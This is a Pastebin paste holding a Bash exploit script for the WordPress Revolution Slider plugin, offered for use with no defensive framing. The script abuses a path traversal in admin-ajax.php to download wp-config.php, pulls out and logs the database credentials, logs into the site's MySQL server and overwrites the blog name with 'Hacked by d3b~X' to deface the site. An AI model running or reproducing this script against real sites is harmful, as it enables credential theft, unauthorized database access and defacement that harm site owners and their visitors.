Sedot_CW

WP Revslider Exploit

Aug 16th, 2020
110
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.69 KB | None | 0 0
  1. #!/bin/bash
  2. echo $1 | grep "http" >/dev/null;chx=$?
  3.  if [ $chx -eq 0 ];then
  4.    hostx=$1
  5.    else
  6.    hostx="http://$1"
  7.  fi
  8. echo "Scan $hostx"
  9.  
  10. FCK="rev"
  11. CekDFC(){
  12.  curl --silent --max-time 10 --connect-timeout 10 "${1}" -o tmp/${FCK}gck.txt
  13.   if [ -f tmp/${FCK}gck.txt ];then
  14.     cat tmp/${FCK}gck.txt | grep -i "Hacked by d3b" >/dev/null;gck=$?
  15.     if [ $gck -eq 0 ];then
  16.      echo " + Exploit success"
  17.     fi
  18.   fi
  19. }
  20.  
  21. rm -f xx.txt
  22. curl --silent --max-time 10 --connect-timeout 10 "${hostx}/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php" -o xx.txt
  23. filex="xx.txt"
  24. if [ ! -f $filex ];then
  25.  exit
  26. fi
  27. DN=$(cat $filex | grep "DB_NAME" | cut -d "'" -f 4)
  28. DU=$(cat $filex | grep "DB_USER" | cut -d "'" -f 4)
  29. DP=$(cat $filex | grep "DB_PASSWORD" | cut -d  "'" -f 4)
  30. DH=$(cat $filex | grep "DB_HOST" | cut -d "'" -f 4)
  31. PRF=$(cat $filex | grep "table_prefix" | cut -d "'" -f 2)
  32.  
  33. fip=$(echo $hostx | cut -d '/' -f 3)
  34. ipx=$(host $fip | awk '/has address/ { print $4 }')
  35.  
  36. echo "$DH" | grep "localhost\|127.0.0.1" >/dev/null;ch=$?
  37.  if [ $ch -eq 1 ];then
  38.   hostz=$DH
  39.    else
  40.   hostz=$ipx
  41.  fi
  42. #echo $hostx
  43. CMN="UPDATE \`${PRF}options\` SET \`option_value\`=\"Hacked by d3b~X\" WHERE \`option_name\`=\"blogname\""
  44. #echo $CMN
  45.  
  46. if [ ! -z $DN ];then
  47. echo "Db    = $DN"
  48. echo "Host  = $hostz"
  49. echo "User  = $DU"
  50. echo "Pass  = $DP"
  51. echo $hostx >> log.txt
  52. echo "Db    = $DN" >> log.txt
  53. echo "Host  = $hostz" >> log.txt
  54. echo "User  = $DU" >> log.txt
  55. echo "Pass  = $DP" >> log.txt
  56. echo "Pref  = $PRF" >> log.txt
  57. echo "====================================" >> log.txt
  58. echo "................ Deface"
  59. mysql -h $DH -D $DN -u $DU -p${DP} -e "$CMN" >/dev/null 2>error.txt
  60.  CekDFC $hostx 1
  61. fi
Add Comment
Please, Sign In to add comment